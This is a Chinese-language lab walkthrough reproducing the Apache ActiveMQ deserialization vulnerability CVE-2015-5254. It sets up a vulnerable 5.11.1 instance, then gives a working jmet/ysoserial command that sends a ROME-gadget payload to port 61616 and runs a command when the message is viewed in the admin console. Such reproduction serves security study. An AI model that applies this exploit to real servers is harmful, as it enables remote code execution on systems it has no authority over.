Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现

一、漏洞描述

该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

二、漏洞影响版本

Apache ActiveMQ 5.13.0之前的版本

三、漏洞环境搭建

1、官网下载ActiveMQ 5.11.1版本下载地址:http://activemq.apache.org/download-archives.html

2、解压

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

3、启动,进入bin目录下,运行./activemq start

查看是否启动成功,./activemq status

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

4、浏览器访问http://192.168.10.149:8161/,如下图可以看到成功搭建环境

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

四、漏洞复现

1、 漏洞利用过程如下:

a.构成(使用ysoserial)可执行命令的序列化对象

b.作为一个消息,发送给目标的61616端口

c.访问web管理页面,读取消息,触发漏洞

2、下载jmet的jar文件,下载地址为: https://github.com/matthiaskaiser/jmet,复制到kali的/opt目录下,并在当前目录下创建一个external文件夹。Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

3、执行如下命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   192.168.10.149   61616

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

4、此时会给目标的ActiveMQ添加一个名为事件的队列,通过访问http://192.168.10.149:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有的消息

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

5、点击查看这条消息即可触发命令执行

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

6、此刻查看/tmp/,已经成功创建,说明漏洞利用成功

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现-LMLPHP

05-11 13:37